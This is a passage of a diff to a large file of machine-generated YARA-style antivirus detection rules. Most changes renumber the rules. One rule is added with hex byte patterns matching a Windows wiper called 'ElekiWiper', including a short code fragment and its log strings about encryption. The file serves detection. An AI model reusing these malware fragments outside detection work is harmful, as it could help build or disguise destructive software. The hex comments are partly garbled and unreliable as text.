1)*16675+(#a_2d_1 & 1)*23085+(#a_00_3 & 1)*114+(#a_41_4 & 1)*11568+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_00_8 & 1)*37) >=9 } -rule _InfrastructureShared_20022{ +rule _InfrastructureShared_21235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -251660,7 +266750,7 @@ rule _InfrastructureShared_20022{ ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*17409+(#a_01_2 & 1)*-28603+(#a_45_3 & 1)*400+(#a_01_4 & 1)*21505+(#a_00_5 & 1)*17665+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_69_9 & 1)*0+(#a_36_10 & 1)*12902+(#a_77_11 & 1)*27214+(#a_66_12 & 1)*26211+(#a_34_13 & 1)*13155+(#a_35_14 & 1)*13367+(#a_34_15 & 1)*25345) >=1 } -rule _InfrastructureShared_20023{ +rule _InfrastructureShared_21236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -251686,7 +266776,7 @@ rule _InfrastructureShared_20023{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*25445+(#a_6a_2 & 1)*12336+(#a_38_3 & 1)*25653+(#a_63_4 & 1)*13875+(#a_65_5 & 1)*14132+(#a_61_6 & 1)*14648+(#a_61_7 & 1)*12390+(#a_38_8 & 1)*14641+(#a_46_9 & 1)*22066+(#a_00_10 & 1)*111+(#a_00_12 & 1)*116+(#a_2d_13 & 1)*23085+(#a_39_14 & 1)*12297+(#a_90_15 & 1)*11568+(#a_5a_16 & 1)*16697+(#a_61_17 & 1)*11585) >=18 } -rule _InfrastructureShared_20024{ +rule _InfrastructureShared_21237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -251701,7 +266791,7 @@ rule _InfrastructureShared_20024{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*82+(#a_00_3 & 1)*32+(#a_00_5 & 1)*116+(#a_39_6 & 1)*12378+(#a_30_7 & 1)*300) >=8 } -rule _InfrastructureShared_20025{ +rule _InfrastructureShared_21238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -251720,7 +266810,7 @@ rule _InfrastructureShared_20025{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28526+(#a_65_2 & 1)*29285+(#a_73_3 & 1)*26989+(#a_6e_4 & 1)*26465+(#a_67_5 & 1)*25701+(#a_61_6 & 1)*25189+(#a_65_7 & 1)*28261+(#a_69_8 & 1)*28524+(#a_5c_9 & 1)*28781) >=10 } -rule _InfrastructureShared_20026{ +rule _InfrastructureShared_21239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -251739,7 +266829,7 @@ rule _InfrastructureShared_20026{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11891+(#a_65_2 & 1)*28265+(#a_6b_3 & 1)*28261+(#a_57_4 & 1)*12857+(#a_6f_5 & 1)*29550+(#a_25_6 & 1)*-32454+(#a_6c_7 & 1)*25970+(#a_00_9 & 1)*47+(#a_00_11 & 1)*47) >=12 } -rule _InfrastructureShared_20027{ +rule _InfrastructureShared_21240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0d 00 21 " @@ -251757,7 +266847,7 @@ rule _InfrastructureShared_20027{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_4 & 1)*67+(#a_00_6 & 1)*85+(#a_00_7 & 1)*47+(#a_00_8 & 1)*92+(#a_00_9 & 1)*32+(#a_00_11 & 1)*46+(#a_74_12 & 1)*17273) >=17 } -rule _InfrastructureShared_20028{ +rule _InfrastructureShared_21241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -251773,7 +266863,7 @@ rule _InfrastructureShared_20028{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_74_2 & 1)*17710+(#a_00_4 & 1)*101+(#a_2d_6 & 1)*2305+(#a_4c_8 & 1)*11776+(#a_00_10 & 1)*97) >=3 } -rule _InfrastructureShared_20029{ +rule _InfrastructureShared_21242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -251788,7 +266878,7 @@ rule _InfrastructureShared_20029{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29797+(#a_72_2 & 1)*30579+(#a_56_3 & 1)*17490+(#a_61_4 & 1)*281+(#a_03_5 & 1)*1) >=2 } -rule _InfrastructureShared_20030{ +rule _InfrastructureShared_21243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -251802,7 +266892,7 @@ rule _InfrastructureShared_20030{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*32+(#a_00_4 & 1)*108+(#a_45_6 & 1)*5120) >=3 } -rule _InfrastructureShared_20031{ +rule _InfrastructureShared_21244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 1b 00 21 " @@ -251834,7 +266924,7 @@ rule _InfrastructureShared_20031{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25456+(#a_2e_2 & 1)*27748+(#a_72_4 & 1)*29551+(#a_46_5 & 1)*21847+(#a_46_6 & 1)*18515+(#a_64_7 & 1)*21315+(#a_41_8 & 1)*25714+(#a_32_9 & 1)*26706+(#a_41_10 & 1)*16705+(#a_42_11 & 1)*25665+(#a_77_12 & 1)*16692+(#a_36_13 & 1)*13880+(#a_01_14 & 1)*14132+(#a_6e_15 & 1)*21050+(#a_00_18 & 1)*109+(#a_00_20 & 1)*47+(#a_69_21 & 1)*26209+(#a_6f_22 & 1)*-32761+(#a_00_23 & 1)*12851+(#a_01_24 & 1)*-28603+(#a_01_25 & 1)*-28603+(#a_8d_26 & 1)*13057) >=5 } -rule _InfrastructureShared_20032{ +rule _InfrastructureShared_21245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -251850,7 +266940,7 @@ rule _InfrastructureShared_20032{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25448+(#a_47_2 & 1)*30004+(#a_48_3 & 1)*12354+(#a_41_4 & 1)*16999+(#a_41_5 & 1)*16961+(#a_34_6 & 1)*12598) >=1 } -rule _InfrastructureShared_20033{ +rule _InfrastructureShared_21246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 12 00 21 " @@ -251873,7 +266963,7 @@ rule _InfrastructureShared_20033{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101+(#a_00_3 & 1)*110+(#a_00_4 & 1)*32+(#a_67_5 & 1)*29795+(#a_63_6 & 1)*25894+(#a_01_7 & 1)*-28603+(#a_8d_8 & 1)*13057+(#a_00_9 & 1)*46+(#a_00_10 & 1)*49+(#a_00_12 & 1)*99+(#a_00_13 & 1)*56+(#a_00_15 & 1)*103+(#a_00_17 & 1)*110) >=4 } -rule _InfrastructureShared_20034{ +rule _InfrastructureShared_21247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -251888,7 +266978,7 @@ rule _InfrastructureShared_20034{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26987+(#a_00_3 & 1)*49+(#a_00_5 & 1)*46+(#a_00_6 & 1)*53+(#a_00_8 & 1)*56) >=10 } -rule _InfrastructureShared_20035{ +rule _InfrastructureShared_21248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -251908,7 +266998,7 @@ rule _InfrastructureShared_20035{ ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*19554+(#a_31_2 & 1)*9589+(#a_25_3 & 1)*29295+(#a_01_4 & 1)*28020+(#a_00_5 & 1)*99+(#a_70_6 & 1)*14962+(#a_28_8 & 1)*28530+(#a_00_9 & 1)*115+(#a_00_11 & 1)*114+(#a_2d_12 & 1)*2305) >=3 } -rule _InfrastructureShared_20036{ +rule _InfrastructureShared_21249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -251924,7 +267014,7 @@ rule _InfrastructureShared_20036{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*115+(#a_2d_3 & 1)*2305+(#a_5a_4 & 1)*16697+(#a_00_5 & 1)*115+(#a_00_6 & 1)*119+(#a_5c_7 & 1)*13824) >=7 } -rule _InfrastructureShared_20037{ +rule _InfrastructureShared_21250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -251946,7 +267036,7 @@ rule _InfrastructureShared_20037{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*15863+(#a_88_3 & 1)*1162+(#a_25_4 & 1)*1160+(#a_39_5 & 1)*10240+(#a_83_6 & 1)*30354+(#a_e1_7 & 1)*7204+(#a_69_8 & 1)*17210+(#a_69_9 & 1)*25443+(#a_4d_10 & 1)*17748+(#a_55_11 & 1)*17746+(#a_68_12 & 1)*29285+(#a_6d_13 & 1)*24864) >=1 } -rule _InfrastructureShared_20038{ +rule _InfrastructureShared_21251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -251967,7 +267057,7 @@ rule _InfrastructureShared_20038{ ((#a_70_0 & 1)*16675+(#a_63_1 & 1)*14938+(#a_73_2 & 1)*26740+(#a_4e_3 & 1)*17736+(#a_73_4 & 1)*28530+(#a_66_5 & 1)*28532+(#a_00_6 & 1)*27748+(#a_55_7 & 1)*17184+(#a_30_8 & 1)*12877+(#a_65_9 & 1)*24951+(#a_5c_10 & 1)*13875+(#a_00_11 & 1)*31086) >=3 } -rule _InfrastructureShared_20039{ +rule _InfrastructureShared_21252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -251988,7 +267078,7 @@ rule _InfrastructureShared_20039{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24909+(#a_25_2 & 1)*13105+(#a_72_3 & 1)*23666+(#a_00_4 & 1)*29540+(#a_4c_5 & 1)*13569+(#a_6e_6 & 1)*18478+(#a_65_7 & 1)*27750+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_20040{ +rule _InfrastructureShared_21253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -252002,12 +267092,26 @@ rule _InfrastructureShared_20040{ $a_43_6 = {42 01 00 18 01 32 31 41 39 32 35 44 45 36 37 46 42 32 38 41 41 45 43 36 42 38 45 43 38 02 00 43 01 42 38 31 39 42 46 37 32 44 37 32 32 31 32 37 30 45 39 36 39 39 45 33 } //12596 ł᠀㈁䄱㈹䐵㙅䘷㉂䄸䕁㙃㡂䍅ȸ䌀䈁ㄸ䈹㝆䐲㈷ㄲ㜲䔰㘹㤹㍅ $a_35_7 = {46 31 36 31 46 41 32 33 44 36 33 37 41 44 32 38 44 30 34 34 38 43 43 32 30 38 34 44 38 30 41 32 32 45 44 31 30 34 37 02 00 43 01 32 44 41 44 31 30 43 32 30 36 37 30 44 43 33 44 39 39 33 35 45 44 35 31 } //16689 $a_44_8 = {31 46 36 36 46 39 37 34 37 38 31 44 35 30 44 33 39 44 38 30 38 35 41 42 30 32 31 41 39 35 34 42 42 35 43 38 46 46 01 00 18 01 41 42 31 45 42 36 36 30 46 42 35 33 38 34 43 36 43 30 30 37 32 41 42 34 } //16696 - $a_72_9 = {00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 32 37 30 33 32 33 31 21 4d 54 42 00 01 00 36 01 35 5c 4c 65 67 69 74 69 6d 61 74 65 5c 4f 76 65 72 72 69 67 6f 72 6f 75 73 5c 44 72 69 76 65 6c 6c 69 6e 67 6c 79 5c 54 6f 6c 64 6b 61 6d 6d 65 72 73 2e 69 6e 69 01 00 46 01 25 4c 61 62 6f 72 61 74 6f 72 69 65 70 6c 61 } //0 + $a_72_9 = {00 04 00 04 00 09 00 21 23 41 4c 46 3a 44 6f 53 3a 57 69 6e 36 34 2f 45 6c 65 6b 69 57 69 70 65 72 2e 43 21 64 68 61 00 04 00 1e 01 4c 8b 07 48 8b 4f 08 49 2b c8 33 d2 49 8b c1 48 f7 f1 42 0f b6 04 02 43 30 04 0a 49 ff c1 01 00 3e 01 5b 00 53 00 4b 00 49 00 50 00 5d 00 20 00 53 00 6b 00 69 00 70 00 70 00 69 00 6e 00 67 00 20 00 6f 00 70 00 74 00 69 00 63 00 } //0 condition: ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*17976+(#a_44_2 & 1)*16948+(#a_30_3 & 1)*17476+(#a_38_4 & 1)*13380+(#a_37_5 & 1)*13111+(#a_43_6 & 1)*12596+(#a_35_7 & 1)*16689+(#a_44_8 & 1)*16696+(#a_72_9 & 1)*0) >=2 } -rule _InfrastructureShared_20041{ +rule _InfrastructureShared_21254{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 45 6c 65 6b 69 57 69 70 65 72 2e 43 21 64 68 61 00 04 00 1e 01 4c 8b 07 48 8b 4f 08 49 2b c8 33 d2 49 8b c1 48 f7 f1 42 0f b6 04 02 43 30 04 0a 49 ff c1 01 00 3e 01 5b 00 53 00 4b 00 49 00 50 00 5d } //16675 + $a_00_2 = {70 00 70 00 69 00 6e 00 67 00 20 00 6f 00 70 00 74 00 69 00 63 00 61 00 6c 00 20 00 64 00 72 00 69 00 76 00 65 00 3a 00 20 00 01 00 3c 01 5b 00 53 00 4b 00 49 00 50 00 5d 00 20 00 4f 00 70 00 74 00 69 00 63 00 61 00 6c 00 20 00 64 00 72 00 69 00 76 00 65 00 20 00 73 00 6b 00 69 00 70 00 70 00 65 00 64 00 3a 00 20 } //107 + $a_69_4 = {65 57 69 64 65 45 6e 63 72 79 70 74 6f 72 01 00 50 01 4e 00 6f 00 20 00 65 00 6c 00 69 00 67 00 69 00 62 00 6c 00 65 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 66 00 6f 00 75 00 6e 00 64 00 20 00 66 00 6f 00 72 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 01 00 3c 01 5b 00 49 00 4e 00 46 00 4f 00 5d 00 } //17409 + $a_00_5 = {74 00 61 00 72 00 74 00 69 00 6e 00 67 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 01 00 26 01 5b 00 49 00 4e 00 46 00 4f 00 5d 00 20 00 55 00 73 00 69 00 6e 00 67 00 20 00 75 00 70 00 20 00 74 00 6f } //32 + $a_5b_7 = {44 } //13824 D + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*107+(#a_69_4 & 1)*17409+(#a_00_5 & 1)*32+(#a_5b_7 & 1)*13824) >=4 + +} +rule _InfrastructureShared_21255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -252027,7 +267131,7 @@ rule _InfrastructureShared_20041{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11891+(#a_71_2 & 1)*29284+(#a_72_3 & 1)*28271+(#a_6c_4 & 1)*26987+(#a_2e_5 & 1)*24942+(#a_2e_6 & 1)*25956+(#a_73_7 & 1)*25954+(#a_53_8 & 1)*26478+(#a_69_9 & 1)*26990+(#a_69_10 & 1)*25701) >=11 } -rule _InfrastructureShared_20042{ +rule _InfrastructureShared_21256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -252046,7 +267150,7 @@ rule _InfrastructureShared_20042{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25962+(#a_6f_2 & 1)*25180+(#a_41_3 & 1)*29543+(#a_65_4 & 1)*24939+(#a_5c_5 & 1)*25958+(#a_00_6 & 1)*25974+(#a_69_7 & 1)*385+(#a_00_9 & 1)*111+(#a_00_10 & 1)*47) >=12 } -rule _InfrastructureShared_20043{ +rule _InfrastructureShared_21257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 11 00 21 " @@ -252069,7 +267173,7 @@ rule _InfrastructureShared_20043{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*656+(#a_74_2 & 1)*811+(#a_02_4 & 1)*47+(#a_61_6 & 1)*385+(#a_00_7 & 1)*25964+(#a_74_8 & 1)*385+(#a_48_9 & 1)*24898+(#a_61_10 & 1)*24404+(#a_00_12 & 1)*77+(#a_2d_13 & 1)*2305+(#a_36_14 & 1)*29537+(#a_19_15 & 1)*1+(#a_00_16 & 1)*2448) >=18 } -rule _InfrastructureShared_20044{ +rule _InfrastructureShared_21258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -252084,7 +267188,7 @@ rule _InfrastructureShared_20044{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65+(#a_00_3 & 1)*104+(#a_65_4 & 1)*24930+(#a_00_5 & 1)*14637+(#a_2d_6 & 1)*23085) >=3 } -rule _InfrastructureShared_20045{ +rule _InfrastructureShared_21259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 18 00 21 " @@ -252114,7 +267218,7 @@ rule _InfrastructureShared_20045{ ((#a_46_0 & 1)*16675+(#a_66_2 & 1)*5120+(#a_01_4 & 1)*-28560+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1) >=5 } -rule _InfrastructureShared_20046{ +rule _InfrastructureShared_21260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -252130,7 +267234,7 @@ rule _InfrastructureShared_20046{ ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*100+(#a_00_5 & 1)*99+(#a_00_6 & 1)*83+(#a_00_7 & 1)*66+(#a_00_8 & 1)*50+(#a_00_10 & 1)*101) >=7 } -rule _InfrastructureShared_20047{ +rule _InfrastructureShared_21261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -252154,7 +267258,7 @@ rule _InfrastructureShared_20047{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*12848+(#a_65_2 & 1)*28534+(#a_64_3 & 1)*13101+(#a_68_4 & 1)*24906+(#a_41_5 & 1)*12848+(#a_32_6 & 1)*13105+(#a_63_7 & 1)*27756+(#a_00_8 & 1)*27759+(#a_01_9 & 1)*25955+(#a_72_10 & 1)*28531+(#a_2e_11 & 1)*28490+(#a_7d_12 & 1)*400+(#a_00_13 & 1)*31494+(#a_01_14 & 1)*10244) >=15 } -rule _InfrastructureShared_20048{ +rule _InfrastructureShared_21262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -252171,7 +267275,7 @@ rule _InfrastructureShared_20048{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25458+(#a_6f_2 & 1)*20526+(#a_6a_3 & 1)*385+(#a_04_5 & 1)*-28632+(#a_7d_8 & 1)*400+(#a_00_9 & 1)*31494+(#a_01_10 & 1)*10244) >=11 } -rule _InfrastructureShared_20049{ +rule _InfrastructureShared_21263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -252192,7 +267296,7 @@ rule _InfrastructureShared_20049{ ((#a_46_0 & 1)*21283+(#a_47_1 & 1)*18776+(#a_00_3 & 1)*101+(#a_73_4 & 1)*8738+(#a_45_5 & 1)*28261+(#a_6e_6 & 1)*25407+(#a_25_7 & 1)*7680+(#a_20_8 & 1)*12064+(#a_00_9 & 1)*1+(#a_57_10 & 1)*27759+(#a_90_11 & 1)*2050+(#a_90_12 & 1)*2050) >=6 } -rule _InfrastructureShared_20050{ +rule _InfrastructureShared_21264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -252213,7 +267317,7 @@ rule _InfrastructureShared_20050{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_01_11 & 1)*1) >=1 } -rule _InfrastructureShared_20051{ +rule _InfrastructureShared_21265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -252225,7 +267329,7 @@ rule _InfrastructureShared_20051{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*50+(#a_00_4 & 1)*80) >=3 } -rule _InfrastructureShared_20052{ +rule _InfrastructureShared_21266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -252245,7 +267349,7 @@ rule _InfrastructureShared_20052{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21364+(#a_00_3 & 1)*76+(#a_00_5 & 1)*61+(#a_00_7 & 1)*47+(#a_00_8 & 1)*61+(#a_00_10 & 1)*115+(#a_02_11 & 1)*30720+(#a_56_13 & 1)*16129+(#a_00_14 & 1)*16481+(#a_56_15 & 1)*16129) >=16 } -rule _InfrastructureShared_20053{ +rule _InfrastructureShared_21267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 26 00 21 " @@ -252283,7 +267387,7 @@ rule _InfrastructureShared_20053{ ((#a_46_0 & 1)*16675+(#a_56_2 & 1)*16129+(#a_00_3 & 1)*16481+(#a_56_4 & 1)*16129+(#a_01_5 & 1)*26680+(#a_77_6 & 1)*28259+(#a_56_7 & 1)*16129+(#a_00_8 & 1)*16481+(#a_56_9 & 1)*16129+(#a_56_11 & 1)*16129+(#a_53_12 & 1)*8993+(#a_49_13 & 1)*-32506+(#a_01_14 & 1)*27503+(#a_01_15 & 1)*3584+(#a_00_17 & 1)*110+(#a_00_19 & 1)*43+(#a_00_20 & 1)*79+(#a_00_22 & 1)*81+(#a_00_23 & 1)*3+(#a_46_24 & 1)*16675+(#a_00_26 & 1)*77+(#a_00_27 & 1)*92+(#a_00_28 & 1)*67+(#a_00_30 & 1)*84+(#a_00_32 & 1)*78+(#a_00_34 & 1)*97+(#a_00_35 & 1)*68+(#a_2d_36 & 1)*31277+(#a_00_37 & 1)*83) >=4 } -rule _InfrastructureShared_20054{ +rule _InfrastructureShared_21268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -252306,7 +267410,7 @@ rule _InfrastructureShared_20054{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*385+(#a_74_2 & 1)*25970+(#a_00_4 & 1)*115+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_79_11 & 1)*0+(#a_00_12 & 1)*114+(#a_00_14 & 1)*67+(#a_00_16 & 1)*84+(#a_00_17 & 1)*108) >=18 } -rule _InfrastructureShared_20055{ +rule _InfrastructureShared_21269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -252319,7 +267423,7 @@ rule _InfrastructureShared_20055{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*77+(#a_00_3 & 1)*92+(#a_00_4 & 1)*67) >=3 } -rule _InfrastructureShared_20056{ +rule _InfrastructureShared_21270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -252340,7 +267444,7 @@ rule _InfrastructureShared_20056{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_6b_2 & 1)*25960+(#a_00_3 & 1)*46+(#a_02_4 & 1)*-28550+(#a_2d_5 & 1)*23085+(#a_00_7 & 1)*32+(#a_89_8 & 1)*18057+(#a_e9_9 & 1)*4096+(#a_7d_10 & 1)*-1+(#a_39_11 & 1)*13367+(#a_00_12 & 1)*12852) >=6 } -rule _InfrastructureShared_20057{ +rule _InfrastructureShared_21271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -252366,7 +267470,7 @@ rule _InfrastructureShared_20057{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*25909+(#a_00_2 & 1)*13157+(#a_38_3 & 1)*385+(#a_34_4 & 1)*25957+(#a_34_5 & 1)*14134+(#a_37_6 & 1)*26160+(#a_65_7 & 1)*385+(#a_32_8 & 1)*12595+(#a_69_9 & 1)*28492+(#a_6d_10 & 1)*21343+(#a_43_11 & 1)*-32477+(#a_53_12 & 1)*25960+(#a_6f_13 & 1)*25970+(#a_74_14 & 1)*27765+(#a_39_15 & 1)*13880+(#a_00_17 & 1)*112) >=18 } -rule _InfrastructureShared_20058{ +rule _InfrastructureShared_21272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -252391,7 +267495,7 @@ rule _InfrastructureShared_20058{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*-14820+(#a_6c_2 & 1)*28009+(#a_6e_3 & 1)*26996+(#a_53_4 & 1)*25960+(#a_62_5 & 1)*12898+(#a_47_6 & 1)*12851+(#a_00_8 & 1)*105+(#a_00_10 & 1)*103+(#a_00_11 & 1)*76+(#a_00_12 & 1)*116+(#a_00_13 & 1)*114+(#a_00_14 & 1)*107+(#a_6f_15 & 1)*17978+(#a_00_17 & 1)*67+(#a_2d_18 & 1)*23085) >=19 } -rule _InfrastructureShared_20059{ +rule _InfrastructureShared_21273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffa7 00 5e 00 09 00 21 " @@ -252405,7 +267509,7 @@ rule _InfrastructureShared_20059{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_00_4 & 1)*101+(#a_00_6 & 1)*114+(#a_00_8 & 1)*108) >=94 } -rule _InfrastructureShared_20060{ +rule _InfrastructureShared_21274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -252423,7 +267527,7 @@ rule _InfrastructureShared_20060{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28571+(#a_00_2 & 1)*14637+(#a_73_3 & 1)*29477+(#a_5c_4 & 1)*23644+(#a_41_5 & 1)*29477+(#a_61_6 & 1)*29472+(#a_03_7 & 1)*1+(#a_7a_8 & 1)*0) >=4 } -rule _InfrastructureShared_20061{ +rule _InfrastructureShared_21275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -252444,7 +267548,7 @@ rule _InfrastructureShared_20061{ ((#a_54_0 & 1)*18467+(#a_3f_1 & 1)*16161+(#a_58_2 & 1)*14440+(#a_79_3 & 1)*14181+(#a_69_4 & 1)*29496+(#a_66_5 & 1)*29295+(#a_32_6 & 1)*28746+(#a_3a_7 & 1)*24938+(#a_69_8 & 1)*28530+(#a_70_9 & 1)*29264+(#a_2e_10 & 1)*25445+(#a_73_11 & 1)*29230) >=12 } -rule _InfrastructureShared_20062{ +rule _InfrastructureShared_21276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -252470,7 +267574,7 @@ rule _InfrastructureShared_20062{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28784+(#a_6a_2 & 1)*28496+(#a_61_3 & 1)*385+(#a_72_4 & 1)*28531+(#a_53_5 & 1)*25927+(#a_4c_6 & 1)*8993+(#a_00_7 & 1)*116+(#a_00_9 & 1)*32+(#a_00_10 & 1)*101+(#a_00_12 & 1)*76+(#a_00_14 & 1)*118+(#a_00_16 & 1)*105+(#a_41_17 & 1)*27757+(#a_64_18 & 1)*28524+(#a_00_19 & 1)*65+(#a_00_20 & 1)*32) >=21 } -rule _InfrastructureShared_20063{ +rule _InfrastructureShared_21277{ meta: description = 